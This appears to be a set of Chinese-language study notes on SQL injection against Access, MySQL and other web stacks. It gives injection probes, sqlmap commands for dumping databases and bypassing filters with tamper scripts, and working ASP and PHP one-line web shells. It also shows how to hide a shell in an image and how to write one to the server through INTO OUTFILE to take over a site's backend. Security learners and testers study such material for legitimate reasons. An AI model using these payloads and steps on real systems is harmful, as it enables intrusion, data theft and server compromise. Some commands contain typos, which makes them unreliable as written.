常用数据库介绍:
Access数据库
+.asp
Mssql数据库
+.net 到 http://xxx/.aspx 到 IIS(都可以解析.asp)
Mysql数据库
+PHP 到 http://xxx/.php 到 Apache
Oracle数据库
+JAVA 到 http://xxx/.jsp 或者.do或者.action
到Tomcat或者Nginx或者Joss(一一对应)
sql注入基础语法:
数值类型:int、float、double
字符串类型:char、varchar
日期时间类型:date、time
二进制:bit
语法:
SELECT * FROM qs_admin; //从qs_admin表中查找所有内容
SELECT * FROM qs_admin WHERE admin_id=1;
//从qs_admin表中内容查询admin_id = 1的内容
SELECT * FROM qs_admin,pwd WHERE admin_id=1;
//从qs_admin表中内容查询admin_id = 1的qs_admin和pwd的内容
SELECT * FROM qs_admin,pwd WHERE admin_id=1 order by 1;
//order by 是判断查询对象的字段并按照元素序列进行排序,后面的
数字小于等于前面查询的元素
注释方法:
1.语句前面加#
2.--<空格>
? //将url和参数进行区分
& //多参数之间的连接值
判断是否存在sql注入:
?id=1'
注意:最好使用“-”号,“+”号编码会被转译成空格
Access的sql注入
sqlmap拿数据库
IIS6.0的漏洞,用后缀“;”去绕过(类似于上传漏洞)
数据备份拿服务器
通过注入拿shell
asp的一句话木马:
<%eval request("chopper")%>
将图片1.jpg和木马1.txt压缩成一个新的图片2.jpg
copy 1.jpg/b+1.txt 2.jpg
上传2.jpg到数据库
找到数据库路径
最后利用菜刀进入后台查看所有数据
mysql的sql注入
判断数字型注入就用“-”号,出现报错即为注入点
在数字型注入点后面加*
即为:python sqlmap.py -u "http://5*"
sqlmap:
-u "http://" //基本语句类型
指定数据库类型: --dbms=mysql
判断当前数据库名字:--current-db
-D //指定数据库
-T //指定表
--colums //找出所有的列名
-C //指定列中的参数 如:-C "name,passwd"
--dump //找到的元素显示出来
mysql的提权
函数 into outfile
例如:select * from table into outfile'/路径/文件名'
满足条件:
1.知道站点物理路径(_server["document_root"])
2.magic_quotes_gpc()=off(phpinfo.php)
3.有足够大的权限(有file权限)
php一句话木马: <?php eval($_POST[CMD])?>
步骤:
看看是否能直接访问http://ip/phpinfo.php
可以在其下面找到物理路径
也可以找到第二个条件的设置
对路径进行写入木马文件的尝试
最后在路径中直接访问写入文件
如果一句话木马在页面中有显示,即未解析成功
猜测为写入权限不够
利用工具掌控后台
备注:路径中有转义,一般为“//”。
其他类型的sql注入方法介绍
备注:
在sqlmap可以选择如下命令选择一种探测技术:
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
TECH的值可以是"BEUSTQ"中的一种。
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
cookie注入:
uname = admin'
报错:"admin" LIMIT 0,1' at line 1 即多加引号,可判断cookies注入
sql-map:
备注:在注入点后+"*",sqlmap会对其进行自动爆破
1.直接对保存下来的txt文件,对指定用户信息进行cookies爆破
sqlmap.py -r 文件路径/文件名 --cookie uname = admin --tech E --dbms mysql --bath -v 0
referer注入:
referer表示上一个跳转的网页地址
登录跳转之后,referer表示的是注入目标网址,进行sql注入拼接
对referer进行"分号"等,sql语句的尝试,报错即存在注入
sql-map跑:
1.抓包保存
2.referer加“*”号
时间盲注:
F12查看响应时间的变化
函数:sleep()
参数中单引号闭合和双引号闭合完全不一样,或者需要自己写脚本
and,or被过滤:
and = && aandnd被过滤后=and
or = || oorr被过滤后=or
sqlmap --tamper 不同版本不一样
and2anandd.py脚本:
sqlmap.py -u url -p id --tech E --dbms mysql --tamper and2anandd.py --batch -v 0
union,select ,空格,注释符被过滤:
空格=%09或者%0a
双写代替select
脚本:
sqlmap.py -u url -p id --prefix "" --suffx "%0aand%0a'1'1='1'' --tech E --dbms mysql --tamper select2selecselectt.py,space2%0a.py --batch -v 0
sqlmap使用基本规则和判断
GET型注入:
sqlmap -u
post型注入:
sqlmap -r
其他:
--os 查看服务器操作系统
--is-dba 判断当前用户是否具备dba的权限
--users 判断用户名
--password 判断密码
关系型数据库与非关系型数据库的注入区别
如:
ACCESS数据库直接爆表------》字段名-----》字段值
MYSQL数据库爆库----》表-------》字段名----》字段值